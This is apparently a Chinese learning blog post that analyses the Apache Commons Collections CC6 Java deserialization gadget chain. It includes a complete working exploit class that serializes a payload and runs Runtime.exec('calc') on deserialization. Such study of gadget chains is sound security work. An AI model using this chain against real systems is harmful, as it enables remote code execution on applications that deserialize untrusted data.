cc6分析
HashMap.readObject
调用链
HaspMap.readObject.hash()
-->TiedMapEntry.hashCode()
-->TiedMapEntry.getValue()
-->LazyMap.get()
-->ChainedTransformer.transformer()
-->InvokerTransformer.transformer()
由后至前分析
调用链后半部分和cc1相似,我们从LazyMap.get开始分析
看哪个类调用了get方法
TiedMapEntry
TiedMapEntry类中有getValue方法,其调用了get方法

而在这个类中的hashCode方法中,其又调用了getValue方法

流程:TiedMapEntry.hashCode-->TiedMapEntry.getValue-->get
看到这个hashcode就可以想到之前审URLDNS链的时候,也是遇到的这个东西,需要用到HashMap类
HashMap
HashMap.readObject中调用了hash方法

跟进hash方法,会调用hashCode方法,这个就和上面的接上了

反射给lazyMap对象赋值
因为put的时候,会触发hash方法,然后就会在序列化的时候去执行transformer,这不在我们的预期内,我们要把这个调用过程给断掉
所以在给lazyMap类对象赋值的时候,使用一个ConstantTransformer(1)来将这个过程给断掉
然后在put之后,使用反射进行重新赋值
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map m = new HashMap<>();
Map lazyMap = LazyMap.decorate(m, new ConstantTransformer(1));
//TiedMapEntry.getValue()中调用了get方法
//TiedMapEntry.hashCode-->getValue-->get
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
//tiedMapEntry.getValue();
Map map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
//为什么要在这里用反射呢?
//我的理解是因为这个过程中会用到put,但是put就会触发hash,但是我们不想在这里执行弹计算器;所以先在LazyMap.decorate中整一无关的类对象,然后再最后使用反射将值改回去,这样put的时候就不会弹计算器,但是序列化的过程是正确的
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
//将lazymap对象的factory变量赋值
factoryfield.set(lazyMap,chainedTransformer);
serialize(map2);
// unserialize("ser.bin");
但是到这里还是不能正常运行,我们来分析put方法具体干了什么
关于put方法的理解
在put方法中,会调用hash方法,然后程序会进到LazyMap.get方法这里

注意这个get()方法,是有一个if判断的,我们序列化的时候,map里面是没有key的,所以会进入if里面,但是会有map.put将key的值给赋给map;所以我们反序列化的时候,就不会再进入这个if语句里面,也就不会调用transfomer方法
所以在map.put下面需要添加一个remove
Map map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
遇到的一点点问题
在调试的过程中,我想看上面的put那里是怎么回事的时候,碰到了一点问题,还没有解决,我想应该是工具的问题
- 我将断点下在
map2.put(tiedMapEntry,"bbb");

然后跟进到get方法调用那里,map类对象有了键值aaa,所以这里没有执行transformer

- 我将断点直接下在
LazyMap.get里面
这里LazyMap类对象没有值,所以进入到if条件语句里面了,调用了transformer

emmm,刚学java没多久,idea也调试得不清楚,所以这里还是不明白(如果有大佬明白,麻烦告知小弟一下)
exp
package cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6Test {
public static void serialize(Object obj)throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
//定义unserialize方法
public static Object unserialize(String Filename ) throws IOException,ClassNotFoundException{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream((Filename)));
Object obj = objectInputStream.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map m = new HashMap<>();
Map lazyMap = LazyMap.decorate(m, new ConstantTransformer(1));
//TiedMapEntry.getValue()中调用了get方法
//TiedMapEntry.hashCode-->getValue-->get
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
//tiedMapEntry.getValue();
Map map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
//这里为什么要remove????
lazyMap.remove("aaa");
//为什么要在这里用反射呢?
//我的理解是因为这个过程中会用到put,但是put就会触发hash,但是我们不想在这里执行弹计算器;所以先在LazyMap.decorate中整一无关的类对象,然后再最后使用反射将值改回去,这样put的时候就不会弹计算器,但是序列化的过程是正确的
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
//将lazymap对象的factory变量赋值
factoryfield.set(lazyMap,chainedTransformer);
//serialize(map2);
unserialize("ser.bin");
}
}
这篇文章其实写得还是很乱的,建议到参考链接中看大佬的cc链讲解视频,讲得真的很好!!!
本文深入探讨了HashMap的readObject方法调用链,分析了TiedMapEntry类和LazyMap的交互,以及在序列化过程中的问题。通过反射和ChainedTransformer解决了在put操作中不希望执行特定逻辑的挑战。同时,文章提到了调试过程中的困惑,并提供了相关代码示例。
546

被折叠的 条评论
为什么被折叠?



